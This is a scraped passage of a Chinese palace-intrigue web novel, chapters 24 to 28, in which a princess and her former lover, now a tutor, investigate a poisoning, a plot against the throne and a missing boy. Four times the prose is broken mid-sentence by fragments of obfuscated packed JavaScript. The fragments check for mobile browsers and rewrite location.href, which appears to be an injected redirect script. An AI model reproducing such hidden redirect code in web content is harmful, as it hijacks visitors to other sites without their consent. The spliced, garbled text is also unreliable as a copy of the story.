“临安公主,”她眼圈泛红,声音沙哑,大约也是知道了云婉一事,哭了许久,“你来我这,是找到杀害姐姐的凶手了吗?” 林魏然眼神微沉,拱手行了个礼,沉声问道:“下官林魏然,奉命查办云贵太妃一案。敢问太妃,昨日可曾去过长兴宫?” 云柔眼神落在林魏然身上。 她身旁的贴身宫女便皱起眉头,微怒道,“你什么意思,你是怀疑我家娘娘与云贵太妃的死有关吗?” 见林魏然神色未动,云柔又看向杨灵允,柔和的眉眼间带上几分薄怒,但开口时声音却愈发轻哑——“临安公主,你是怀疑我吗?” 她仿佛雨夜中的被风雨吹得摇摇晃晃柳枝,只要在来一阵轻风,便会彻底断裂。 杨灵允不为所动,抱着双手站在一边,平静得近乎冷漠道,“林太傅是奉本宫之命彻查此案。云太妃,你还是先回答他吧。” 云柔眼眶愈发得红,像是被气的。 她低头揉了揉眼眶,缓了好一会,才闷声说,“我是去过姐姐宫中,是因为姐姐之前睡得不好,我才给姐姐带了松涧香,想给姐姐安安神。” …… 云太妃性情软,就算气恼杨灵允与林魏然疑心她,也还是将昨日之事全盘托出。 她是午膳后去的长兴宫,坐了一会便离开,回自己的顺承殿时大约是未初三刻,离开的时候淑太妃还没去长兴宫。 两人返回长兴宫时,昨日长兴宫当值的侍卫也证实了淑太妃与云太妃所言不虚。 “公主,林太妃尚未清醒。”杨言小心翼翼地踏入长兴宫,向坐在长兴宫正殿外的杨灵允回禀道。 云婉的宫中的宫女太监已经全被侍卫控制起来,整个长兴宫内空荡无人。 “验尸结果出来了吗?”林魏然站在正殿外的游廊上,闻言转头问道。 杨言看了眼杨灵允,才微弓着背上前道,“医女说,云贵太妃大约是昨夜亥时前后薨的,是因误食了一种西南幻草。此草常用于香料之中,若内服幻草枝叶,不出一炷香时间便会毒发。云贵太妃,大约就是误食幻草叶,以至毒发身亡。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12866564|133984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 般补充道:“我也没打算再回去,是想回去叫两个金吾卫去。” 但林魏然却忽然将人拦腰抱起,大踏步往客栈方向走去。 他这一串行云流水的动作远在杨灵允的意料之外——这是八年前的林容时才会做的,而不是如今克己复礼的林魏然。 她很快回神,微怒道:“你做什么?放我下来。” “查别院不急于一时,”林魏然语气听上去还带着几分恭敬,只是动作实在逾越,“臣先带公主回客栈休息。” 杨灵允的手还压在他的肩头上,起起伏伏的震动间,她恍然意识到,林魏然可能从头到尾都没变过。 只是随着年岁渐长,学会了掩饰。 “我又不是走不了路,况且发个信金吾卫就来了,你何必如此?”杨灵允阖了阖眼,像是斥责,又像是撒娇抱怨。 林魏然喉结微动,下意识反问:“你是想叫闻九来吗?” 闻九? 杨灵允福至心灵,抬手揽住了他的脖颈,轻轻笑了一声,“你吃醋了吗?容时哥哥?” 林魏然抿抿唇,又闷声道:“他是你手里的刀,我只是你手里的棋子。棋子怎么比得过刀趁手?” 杨灵允一时无言,知道自己在此事上理亏,只得又重复了一遍:“我都说了没把你当棋子。” 但仰头间又看见林魏然微扬的嘴角,她忽然就彻底放松了下来,懒洋洋地将脑袋靠在他接近心的左胸处。 林魏然自然也感受到杨灵允的变化,手习惯性地往上抬了抬,将人抱得更紧了些。 这些,八年前他们曾做过无数遍。 八年后,依旧清晰如昨。 林魏然微微垂眸,看着杨灵允半阖的眼睛。 她看着有些困倦,放松信任地倚在自己怀中。这是他这么多年来只有梦中才会出现的场景,如今竟是美梦成真。 但他仍心有不安。 杨灵允的脉象太奇怪了。 她没有与守卫发生冲突,这院子也不算极大,寻常人就是绕着这院子走上三四圈都没问题。 可她的脉象却亏空得如此厉害,像是,沉疴许久。 林魏然隐约猜到,这几年间杨灵允劳心劳力,或许有伤身子。但到底都是从旁人口中听来,远不如他今夜自己一探来得惊鄂。 “宣和……”他越想,心底越不安,忍不住喊了一声。 “嗯?”杨灵允的意识已有些混沌,半梦半醒间懒洋洋地含糊应了一声。 林魏然覆在杨灵允背上的指尖微蜷,第一次小声祈求:“你要好好的,你不能有事。” 听了这话,杨灵允终于清醒几分,掀起眼皮笑了下:“怎么了,我能有什么事?” 林魏然喉结滚动,手又抬高了几分,又下巴靠近杨灵允的发端,像是在求一个安心。 “你身子不好,乌山情况不明,我有些担心。” 杨灵允不以为然:“没什么好担心的,金吾卫都在后面跟着。” 她说着,转头冲客栈的方向扬了扬下巴。 与此同时,她忽然看见附近的一棵树,枝干粗壮,树高合适。 一个好主意顿时浮上杨灵允心头。 “等等。”她喊停了林魏然,同时撑着他的肩膀利落起身。 25. 第 25 章 林魏然的怀中陡然空了下来,温度瞬间消失,他心上不自觉有几分空落,但又极快地收拾好这份情绪,问道:“怎么了?” “你带弓没?”杨灵允顾不上那么多,直接开始上手扒拉他的袖子。 林魏然神色一顿,连忙制止,“弓箭?你要做什么?” 他说话间也看到了不远处那棵树,一下反应过来:“你不会是要……用弓箭杀那些守卫?” 杨灵允无语:“我是那么莽撞之人吗?下半夜风大,以树枝做箭去试探一下,那些守卫就算前来查看,也只会以为是大风将树枝吹了过去。” “这能试探出什么?”林魏然疑问道。 杨灵允抿抿唇,避开了这个问题,只是问道:“你到底带没带?没带我就去让金吾卫过来。” 林魏然如今听不得金吾卫三字。 一听到金吾卫,他就想到先前刚刚被杨灵允调去金吾卫的闻九,气得牙酸。 “带了。” 他从袖中翻出一张不大的弓,“要射正殿的窗子是吧,你等等我去弄根合适的树枝。” 杨灵允看着那弓,有些怀疑:“你这弓……小了些吧?能射中吗?” 林魏然挑眉笃定:“自然,这可是我特制的弓。” 他出门向来喜欢带乱七八糟的兵器,杨灵允是知道的。只是没想到还特制了适合带出门的兵器。 “我来帮你。”杨灵允没多想,挽起袖子兴致勃勃地准备来帮忙。 林魏然此时已挑好了树枝,正准备拿刀将其削成合适的形状,见杨灵允上来,连忙将人按下,无奈道:“你自己身子还没好全,坐着休息吧,祖宗。” 此话一出,两人动作登时顿住。 这种暧昧而亲近的称呼,只有在他们最无忧肆意的那段日子,他才喊过。 算算时日,都已经过去八九年了。 久得他都记不清具体时日了。 林魏然见杨灵允神色不明的模样,不自在地动了动喉结,见杨灵允始终沉默,不由担忧——是不是觉得他太放肆了? 其实杨灵允并没有这样想。 她一时沉默,只是想起了那段时日,那段她翻来覆去,想了又想,却还是缓慢地模糊在记忆中的时日。 但林魏然下意识的一个称呼,却让她所有的记忆瞬间清晰。 原来关于旁人的记忆,只有那人在时,才会清晰。 但再清晰,也是过去。 他们之间可以纠缠不清,可以暧昧放肆,但永远不可能宣之于众,更不可能回到过去。 杨灵允最终垂了眼,轻声说:“你自己弄吧。” 仿佛没听见先前那个暧昧不清的称呼。 林魏然低低地应了一声,加快了手上的动作。 他能感觉出来,杨灵允不想提过往之事。前些日子,太极宫内的声声“容时哥哥”,不过是在引着他一步步走向她布好的计划之中。 如今的临安公主,或许对他有些私心,但这点私心绝不会越过对皇权稳固的重视。 林魏然不知自己该高兴还是该悲哀。 他只能强迫自己抛开那些有的没的想法,极快地削好了树枝,准备跃上树。 杨灵允此时拉住了他的衣袖,“我要上去亲眼看看。” 林魏然一时僵住,杨灵允如今身体不好,若想上树,只能他揽腰带着一起。 但他刚刚想了那么多乱七八糟的,乍然之间又与杨灵允这般亲密…… 杨灵允见他神色有异,眼底闪过一丝狡黠的笑:“怎么了?不方便?那我去叫金吾卫。” 她话音刚落,林魏然已经抬手揽着她的腰,然后借力飞上了粗壮的枝干上。 从这个视角,正好能看见大长公主那座别院的整个正殿。 “开始吧。”杨灵允站稳在枝干上,转头看了他一眼。 林魏然这回没再多放肆,规矩地收回了自己的手,垂眸准备拉弓。 月色从交错盘杂的枝干中落下来,照了他半身,多了几分生人勿进的疏离冷漠。 杨灵允一手撑着下巴,定定地看着他抬手、拉弓、射箭。 树枝飞出的那一瞬间,林魏然的侧脸也变得肃杀。 杨灵允收回眼神,牢牢盯着不远处的正殿,所以错过了林魏然转头看她时,陡然柔和下来的神色。 树枝杀伤力不如利箭,只是打在正殿的窗户上,便落了下来。 正殿外的守卫显然听见了树枝落下的声音的声音。这回,守卫倾巢而动,训练有素地兵分三路。 一路仍守着正殿大门,一路往传出声响的地方去,还有一路,竟往杨灵允和林魏然这个方向来了。 只是正殿之内始终没有动静,也没有守卫进去查看。 杨灵允摩挲着指尖,心下怀疑——难道那个女孩不在这里?在大长公主别的庄子上? 可是依照大长公主那奢靡的性子,定不舍得委屈了杨禧允的血脉,除了这座别院,她不可能将人送去庄子那种人员复杂、佃户众多的地方。 林魏然见杨灵允始终盯着别院,又见守卫渐渐靠近,再不走就来不及了。 千钧一发之际,他只得再次揽着杨灵允,踩着枝干飞快离开。 当守卫来到他们先前藏身的那棵树下时,看到的便是散落一地的枝干,还有呜咽的风声,吹得地上的枝干滚动摇晃。 “行了行了,”领头的看了一圈也没发现人影,挥挥手示意大家回去,“这大晚上的,风也太大了些。” …… 林魏然带着杨灵允,借着轻功悄无声息地回到了杨灵允独住的那间上房。 “公主到底是在查什么?” 杨灵允沉默片刻,便将此事告知林魏然:“我怀疑大长公主手上有杨禧允的遗孤。” “遗孤?”林魏然喉结微动,似想起了什么,神色变得晦暗,“可世人皆知,三王已无后嗣存于世间,这遗孤……又是从哪冒出来的?” 杨灵允撇了他一眼,缓缓坐下,又反问道:“那你今夜是去查什么?” “流民,”林魏然轻声道,“京郊的流民有些不对劲,乌山这边的百姓更所剩无几,我便想着去大长公主的别院看看,说不定能有发现。” “你有何发现?” 在杨灵允的追问下,林魏然忽然沉默。 幽暗的烛火间,他的面孔半明半暗。 杨灵允端起茶水轻抿一口,又抬眼看了看他的神色,忽然笑出了声:“怎么,怕说出来你的发现,我就会像一年前一样,让大长公主的府邸也血流成河?” 林魏然缓缓上前几步,站在杨灵允身前,拱手垂眸,声音轻却清晰:“公主,如今暂无确凿证据,此事还需徐徐图之。” 杨灵允手一顿,已经送到嘴边的茶水也不想喝了。 放下的茶杯发出一声闷响,杨灵允伸手抬起眼前人的下颌,强迫他抬头,似笑非笑地盯着他幽黑的眼睛:“你总是这样,什么都要徐徐图之,是不是图到最后,陛下的龙椅也图给旁人?” 被迫仰头接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12883420|133984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 受质问,但林魏然神色未变,“下官是在为公主着想。” “为我着想?”杨灵允从喉间溢出一声短促的笑声,“你知道我想要什么吗?” “公主想要陛下能坐稳这个皇位。”林魏然定定地看着杨灵允,字字清晰。 幽暗摇曳的烛火落在他眼底,竟显得亮了不少。 杨灵允的视线对上他眼底的光亮,忽地手一颤,松开了他的下颌。 “那你就该知道,大长公主的存在,就是个隐患。” 林魏然再次垂了眉眼:“公主,账不是不算,而是慢慢算。一年前您在陛下登基之初便赐死了三王府邸的所有人,已经惹得朝臣议论纷纷,如今再贸然对大长公主开刀,只会徒增朝臣对您的非议。” 烛火摇摇晃晃,像是终于承受不住这漫漫长夜,又灭了一盏。如今只剩杨灵允斜上方的那盏角灯,还顽强地亮着。 林魏然抬眼间,见到的就是杨灵允那张被角灯照得半明半暗的面孔。烛火勾出她眉眼的轮廓,恍然间似乎又是八年前漫天灯火下的少女。 “宣和……”林魏然忍不住开口轻唤了一声,“你着急清算云氏,着急解决安王和大长公主,到底为何?” 在林魏然这近乎呢喃的声音中,杨灵允忽然拿起身边的茶杯,猛灌一口。 只是她喝得实在太快,猝不及防被呛了一口,不住地咳嗽起来。 林魏然连忙上前,轻拍着她的背部。 过了好一会,杨灵允才终于止住了咳嗽,转头看半个身子已经在自己坐的榻上的林魏然。 她阖了阖眼,忽然觉得很疲惫,很不想再说那些事。 “你当年被贬南州,一定路过青州吧?”她看着林魏然,像是没听见他刚刚说的话,忽然提起了一个毫无关联且无关紧要的话题。 林魏然不解,但还是点头道:“嗯,青州,有何异处?” 杨灵允缓缓往后靠,阖上了眼:“没什么,只是听说青州是个好地方,好山好水好风景,青州城内饮食也不错。” 她真的很想去看看。 林魏然觉得此时的杨灵允有些不对劲,心底也骤然涌现出一股不明不白的恐慌——人分明就在他眼前,他却觉得好像快见不着她了。 “宣和?”他下意识放柔了声音,轻声又唤了一遍他的名字。 在低柔的声音间,杨灵允又睁眼淡道:“没什么,只是想等这些事都结束了,有机会去青州看看。” 林魏然定定地看着她。 她神色毫无破绽,似乎真的只是随口一提。 所以她着急解决这些威胁,是想出去看看吗? “一定都能结束的,”林魏然忽然伸手覆上了杨灵允的手,轻声许诺,“等一切安定下来,便是离开长安几个月也无妨。” “林太傅也想跟我一同去?”杨灵允没收回手,也没回应,只是看着林魏然很轻地笑了下。 林魏然垂眼轻声道:“若公主不弃,下官自然愿同去。” “罢了不说这些,”杨灵允眯了眯眼,摆摆手道,“你若是不肯告诉我你在大长公主的别院发现了什么,就赶紧滚出去。” 林魏然很熟悉杨灵允的性子,她语气平和地说着骂人的话时,通常是没生气。 她没生气,大约是认同了他先前的话,熄了贸然对大长公主动手的心思。 林魏然微不可察地勾了勾唇,轻声笑道:“下官在别院的后门外发现了新鲜的车辙印子,像是不久前拉过重物离开了别院,而且不止一次。” 26. 第 26 章 杨灵允敲了敲一边的几案,“但我那姑母近期并未来过乌山,那别院也不像是正在收拾等着主人入住的模样。” “所以,拉走的那些重物很可能是些见不得人的东西。”林魏然笑着补充,又道,“只是我没想明白,为何会突然转移东西?我们来乌山的消息少有人知,难道真的只是一个巧合?” “不,”杨灵允眼神一凝,“那女孩出现得太巧,我一直觉得是有人想引我到乌山。若背后之人当真是我那好姑母,一切便说得过去。她最熟悉杨禧允的私印模样,也知道我不可能容忍三王的血脉威胁陛下皇位,所以用那个女孩将我引来乌山,伺机伏杀我。转移的重物,很可能就是兵器刀剑之类。” 杨灵允说着,像是觉得此事颇有意思,甚至笑了一声,“我想,这乌山的哪个地方说不定就藏满了手持利刃伺机杀我的人呢。” 林魏然猛然起身,神色冷凝:“我们今夜就回宫。” “等等,”杨灵允自若地倚在榻上,懒洋洋道,“你着急什么?她想杀的只是我,至于陛下嘛……她估计还想着留着陛下,等我死后她垂帘听政呢。” 林魏然回头看她,言语急促:“正因如此,才更要赶紧回宫。你不能出事。” “有金吾卫,死不了,”杨灵允抬眼看他,黯淡的烛火照出她眼底一闪而过的杀意,“她刺杀本宫与陛下,应是罪不容诛,对吧,林太傅?” “你……”林魏然一时气急,“你何必做到如此地步,拿自己当筏子去引大长公主动手?” 他从乌山的现状和那些流民便猜到大长公主意图生事,但大长公主势力不强,只是仗了个皇室的名头才不好动手。只待回京慢慢摸清乌山情况,剪清大长公主的羽翼,再将人幽禁宗人府即可。 与大长公主的这盘棋,无论怎么下,他们都是胜券在握。 可杨灵允却还想把自己的命都当筹码压上去? “我绝不能让任何人威胁陛下的皇位,”杨灵允又轻抿了口茶水,一字一顿,“若当真有杨禧允的遗孤,我必须得将人控制在手中。此事也需我留在乌山才能查个清楚。” “宣和,”林魏然死死地拧眉,又放软了语气,轻声道,“我来替你查这件事可好?你先回宫,也安全些。” 杨灵允看着林魏然,片刻后缓缓起身,“此事我要自己查,你要是担心就带陛下先回宫,有金吾卫跟着,我不会有事。” 林魏然还想再多说什么,但杨灵允已经走向最里边的床,背对着他,淡淡道:“出去吧,我累了要休息。” 与此同时,唯一亮着的一盏角灯也骤然熄灭。 整个屋内只有透进来的月光,连窗沿那一块都照不亮。 林魏然只能看到杨灵允模糊的身影,无奈地叹口气,也只好退了出去。 走到门口时,杨灵允忽然出声:“林太傅……” 林魏然喜出望外,以为是杨灵允想明白了,连声应道:“你是同意先回宫……” 他话还没说完,杨灵允就毫不留情地打断了他:“多注意点那个叫李为的孩子,我总觉得他不大对劲。” 林魏然在原地僵了片刻,才闷声应了一声“哦”,连告退都没说就离开了。 …… “哥!” 天还未亮,杨灵允又被梦魇陡然惊醒。 是她已经重温过无数次的场景——尸骸遍地的太极宫外,废太子毫不犹豫地飞身过来,替她挡了那致命一箭。 那时三王的人都已伏诛,但她始终没能找到到底是谁射出的那一箭,也没能找到,那把箭究竟属于哪方势力。 她只能徒劳地看着自己这个同父异母却对她极好的哥哥,死在眼前。 所以她不能走,至少在完成他遗愿、替他报完仇之前,她不能走。 杨灵允起身看了眼窗外灰蒙蒙的天色,抬手揉了揉太阳穴,继续躺回床上休息。 再醒来时,已是天色大亮。 她梳洗好下楼时,客栈大堂已零零散散地坐了好几桌。林魏然坐在一扇屏风后面,但从楼梯上看下去,依旧很显眼。 “陛……公子呢?”杨灵允坐下的第一句话便是问小皇帝。 林魏然掀起眼皮看了她一眼,神色不知为何有些怪,声音也闷:“和李为出去了。” “你疯了吗?”杨灵允骤然动怒,“我让你多盯着点李为,你还让他跟李为一同出去?” 林魏然缓慢地抬眼看她,语气淡了下来:“我劝得住吗?你,陛……公子,哪一个是我劝得住?” 他声音中带着些不明不白的轻嘲,不知是对自己的,还是对杨灵允的。 配上那张极富少年气的面孔,看着竟还有几分委屈的脆弱。 但这回杨灵允不吃他这一套。 她拍桌起身,余怒未消,压低了嗓音:“你怎么可能劝不住?你到底要做什么?我不回去,你连他的安危都不在乎了吗?” “林魏然,你是不是疯了?”杨灵允说着,转身就要去召金吾卫把小皇帝带回来。 但林魏然极快地起身拉住了她,垂眼轻声道:“已经有金吾卫跟着了,公子说李为举止奇怪,像是在极力掩饰着什么,今日一早便说要带着李为去乌山附近的村落问问,想试探一下他。” “他说你就同意了?也不跟着?”杨灵允怒视着他,手上用力想甩开他的桎梏。 但林魏然这次拽的是她的宽袖,用劲肆无忌惮,杨灵允甩了好几下,也没挣脱开。 “你做什么?” “公子说李为有些举止礼仪不像是寻常百姓家养出来的,或许与你要查的遗孤一事有关。”林魏然手上放肆,却低眉垂眸,“在这件事上你不信我,总该信他吧。他说他想帮你分担些。” 【早些时候,小皇帝趁机避开李为,与林魏然说了这些,并说自己要单独与李为一同出去。 林魏然自是不同意,但小皇帝格外坚持,也允了两个金吾卫在明面上跟着。 “公主也不会同意。”林魏然无奈之下,只得搬出杨灵允。 但小皇帝成竹在胸,还神神秘秘地靠近了林魏然,示意他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12897247|133984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蹲下,在他身边小声说了什么。 林魏然越听,不自觉微皱眉道:“陛下,偷听非君子所为。” 小皇帝小大人般叹口气,“先生,是你与姐姐深夜未眠,朕担心,才悄悄在门外看看。” “总之呢,先生只需转述朕这句话,姐姐便不会多说什么。” 小皇帝心底清楚,知道只要搬出这些,杨灵允便会妥协——因为杨灵允不想让他有一丝觉得她意图篡位的疑心。 所以她总是在这些事上妥协避让,那些奏章、汇报甚至她的计划,她无一不告诉他。 可就算她有所隐瞒,或者强势些,他也不会怀疑她。 他就算怀疑天下所有人,也不会怀疑她。 只是姐姐对他,似乎并没有这样笃定的信任。她始终保持着极好的分寸。 想到这里,小皇帝一时有些失落,又下意识看了看眼前半蹲着的林魏然——他觉得,姐姐最信任的,其实是眼前这人。 林魏然感受到小皇帝试探的眼神,无奈地叹口气,最终应允了。 有金吾卫跟着,应当不会出什么事。陛下年纪尚小,多历练历练也是好的。】 “罢了,”杨灵允听了林魏然转述小皇帝的又夹带着些私货的话,头疼地掐了掐眉心,果真没有继续揪着小皇帝与李为一同出门这事不放,而是慢慢坐下。 林魏然也坐在她对面,很轻的笑了下——还真被陛下说中了。 “先吃些东西吧。”他这些想着,手却很自然地在动筷之前先给杨灵允夹了些菜。 “等等,”杨灵允很快意识到不对劲,微微眯了眯,“你先前那话,应该只有最后一句话是他教给你的吧?前面那些是不是都是你装模做样,拐弯抹角地阴阳怪气?” 林魏然动作一顿,沉默片刻才轻声承认了:“我只是想让你先回宫,在遗孤一事上,我与你利益相同,你为何不放心我来查?” 大堂内传来些许说话声,但屏风之后却倏然沉寂。 飘香的饭菜摆了半桌,却无人动筷。 过了很久,杨灵允才轻叹一声,“不是不相信你,我只是……想不明白杨禧允怎么还能留有遗孤,想亲自探个明白。” 她言语片刻的迟疑林魏然不是没听见,但杨灵允显然不想说真话。林魏然面上不显,在心底叹口气又安慰自己——至少她说了没有不相信自己,不是吗? 杨灵允在吃饭间抬眼看了看林魏然。 她不是担心林魏然会在遗孤一事上动手脚,她只是担心林魏然会手软。 无论是当年嚣张肆意的林容时,还是如今克己守礼的林太傅,对很多事很多人都不曾赶尽杀绝。 但杨禧允的后代……杨灵允轻轻摩挲着手中的竹箸,如果有什么异心,那便不能留了。 这顿早膳风平浪静地结束了。 杨灵允准备今日独自行动,只是刚走出屏风,一个形貌迭丽的男子快步从客栈门口进来,与杨灵允和林魏然直直对上。 “闻九?” “出什么事了?” 27. 第 27 章 闻九径直往杨灵允的方向走去,他刚想行礼,但杨灵允眼见着大堂内已有不少人的目光有意无意地落在他们这边,微微皱眉,制止了他的动作。 “上去说。” 她与闻九单独进了上房,留林魏然一人在外面候着。 闻九没多废话,开门见山:“公主,郑虔派出的副使已经到乌山了。” 杨灵允神色一凝,“郑虔的家眷呢?他夫人和女儿没跟着一起来?” 闻九摇头:“探子来报,他那副使带着数十人进了乌山地界,郑虔也在奏章上说,要携家眷一同进京述职。” 见杨灵允神色不明,闻九又道:“公主,需不需要我去探探那副使的深浅?” “不必,”杨灵允沉默许久,淡淡道,“不要动他的副使,让他们顺利入长安城。” “可公主,如今长安中可有不少郑虔的旧部。”闻九皱眉。 “不能把人逼得太紧,他既想试探我,我也该表露些我的诚意。”杨灵允捻着指尖,已有了决断,“好了就这样,你去见一面那个副使,告诉他,本宫会让他和他带的那些人风风光光地入长安。本宫对郑将军的信赖,还望他能一五一十地传达给郑将军。” “公主?”闻九还想再劝说一番,但杨灵允已经起身,淡道,“行了,我还有一桩事要你办。” …… 林魏然在外头等了快半个时辰,闻九才步伐匆匆地出来。 他像是急着去办什么事,与林魏然擦肩而过,一句话也没说。 杨灵允独自在上房内还多呆了一会才出来。 林魏然上前,挣扎许久也不知该不该问出口。 闻九的到来让他又想起那个他不愿承认的事实——按立场来说,他闻九才是杨灵允一手提拔的,真正心腹。 所以他那句“发生了什么”到底也没问出口,只是垂眸道:“我先前又去别院,别院内的守卫已经不见了,后院的正殿之内空无一物。但殿内落着不少灰尘,从痕迹上看,很可能存放过刀剑弓弩一类的东西。” 杨灵允皱眉:“昨夜还在,一夜便全消失不见?” 林魏然点头,又道:“有时间转移东西,却没时间清扫现场,这太像一个引你上钩的幌子了。” 杨灵允低低地笑了一声:“倒是很符合我那好姑母自作聪明的性子,车辙印通往哪里?” 林魏然指尖骤然握紧:“你明知是个局,还要去吗?” “不入虎穴,焉得虎子?”杨灵允无所谓地耸耸肩,语气中已然有几分迫切,“她可千万不要让我失望啊……” 林魏然还想劝阻一番,却见一个金吾卫匆匆来报——是先前跟着小皇帝一起出去的之一。 “怎么了?陛下出事了?” 那金吾卫连忙摇头,“禀公主,是李为不见了!” …… 在距离大长公主别院约五里地的地方,杨灵允和林魏然见到了神色沮丧的小皇帝。 “姐姐,”小皇帝一见杨灵允,便小跑着过来,失落道,“对不起姐姐,是我大意了。” 原来,小皇帝今早让李为带着他去附近村落走了一圈。 但小皇帝方向感极好,发现李为在刻意避开某个地方。 等走了一圈下来,他也摸清了李为避开的那个地方——是乌山附近一个很小的村落,也是唯一一处没有大长公主庄子的村落。 他想试探李为,便主动带着人往那个村落去,还让两个金吾卫牢牢地跟在后面。 这个村落空无一人,房门口都布着厚厚的蛛网。但乌山地势复杂,村落虽小,却有不少暗巷。 李为就是消失在一个暗巷中。 李为消失后,小皇帝让金吾卫彻查了整个村落都没找到他的影子。 他仿佛人间蒸发一般,在一个转角处瞬间消失。 “突然消失?”林魏然皱眉,“或许是这村子中有暗道?” “朕也是这样想的,但他们二人寻了许久,也没发现暗道开关。” “进去瞧瞧就知道了。”杨灵允半蹲下拍了拍小皇帝的肩,轻声笑开,“没事的陛下。” 林魏然不赞同:“公主,这村子诡异,若真有暗道,恐还有人埋伏于此。” 杨灵允缓缓起身,抬眼看了看近在咫尺的村子大门。 说是门,其实已被风雨侵蚀得所剩无几,只剩一座饱经风霜的石碑还顽强地立在一边,但上面刻的字已经看不清了。 “五灵村……”她唇齿间滚过这个名字,又转身拍了拍手,数名金吾卫悄无声息地现身。 然后看向林魏然和小皇帝,“这些金吾卫都是这个村子出生的,村中暗巷,他们最清楚,不会有事。” 数名金吾卫齐齐应道:“是。” 一行人最终还是踏进了这个村子。 此时天色阴暗,似又有暴雨将至之势。时值冬日,寒风阵阵,吹来时还伴着隐隐约约的呜咽之音。 给这空无一人的村子更添不少阴森诡谲之感。 “那些金吾卫……是怎么回事?”林魏然走在杨灵允身边,忍不住问道。 杨灵允淡淡道:“你忘了?他还是太子时,乌山便是他的地盘。当年乌山有流寇,便是他负责带兵剿匪。” 她说着,神色忽然变得有些嘲讽,“剿匪剿到最后,说什么这些流寇也是迫于生计,将手上没人命的全收进金吾卫了。” 林魏然终于想起来了——这是七八年的事了。 也是自太子从乌山剿匪归来后,频频上奏弹劾云氏一系的官员,闹到最后,被先帝以“太子有不臣之心”,废了太子之位幽禁东宫。 这也是太子第一次被废。 “当年乌山的那些流寇…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12912582|133984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 与云氏有关?”林魏然垂下眼眸,轻声问道。 杨灵允平淡道:“我不知道,他不肯跟我讲太多。” 两人短暂的对话被小皇帝打断——“李为便是消失在这里。” 那是一条暗巷的尽头。只有左右两条路可以走。 他们一行人是在离尽头还有些距离的地方,再往前,巷子便越窄,只容一人通过。 林魏然上前,伸手一一摸过尽头的那堵墙。粗糙,但并没有空洞之音,想来是不能藏人。 “陛下,你们在走这条暗巷时,可是由李为在前面带路?” 小皇帝点头:“他说他熟悉这些,便在最前面带路。后面跟着一个金吾卫,然后是我,最后还有一个。” “李为消失前可有何异样?” 小皇帝皱了皱眉,原本跟在李为后面的金吾卫像是想到什么,忽然开口:“属下快走到尽头时,忽听见身后有刀剑之音。但那时李为说是风声所致。” 林魏然神色一凝:“刀剑之音?那你们是不是都回头了?” 两名金吾卫和小皇帝都齐齐点头。 “但我们只回头了片刻,就听到李为在右边说‘这是风声所致,不必担心’。”小皇帝又补充道。 林魏然蹲下想检查脚印,但右边的脚印已经被金吾卫先前的一番搜索毁得差不多了。他无奈地掐了掐眉心,又往左边那条路看去。 左边的路只有金吾卫的脚印,但左边似乎曾住着不少户人家,接连摆放着一连串的水缸。 水缸上原本还铺着布,但都被金吾卫掀开检查过,散落一地。 林魏然一一查看过那些宽布,神色一变——这些宽布上,沾着很浅的脚印,不仔细看是看不出来的。 他回头看向小皇帝和那两名金吾卫,又确认了一遍,声音当真是从右侧传来? 三人都很笃定地点头,还说他们也看见右侧留有脚印。 林魏然越过右侧路口那些乱七八糟的脚印,小心翼翼地往前看——果然也在前面发现了一串属于十来岁孩童的脚印。 但从脚印在沙砾泥土中的留存情况看,这脚印至少昨夜就在这了。 他猛然回头:“昨夜李为可有离开客栈?” 所幸杨灵允带来的这些金吾卫中有些便是负责客栈守卫的,思索片刻道:“昨夜您与陛下都不在时,李为确实下楼向客栈老板讨了点东西吃。客栈老板说天色已晚,吃的都在厨房,便带着李为去了后厨。属下算着时间,不到一刻钟便回来了。” “期间他可见了什么人?” 那金吾卫面露尴尬,不好意思地挠挠头:“属下奉命守着陛下,就……没跟上去了。” 林魏然叹口气,刚想再看看有没有别的线索,杨灵允清淡的声音就从后面传来—— “李为有同伙,很可能就是他昨夜见过的人。” 28. 第 28 章 几名金吾卫小心地将一把横刀和一块石头放在林魏然面前。 石头上有刀剑摩擦的痕迹。 杨灵允冲着横刀抬抬下巴:“这刀是在这条暗巷中的一间宅院中发现的。” 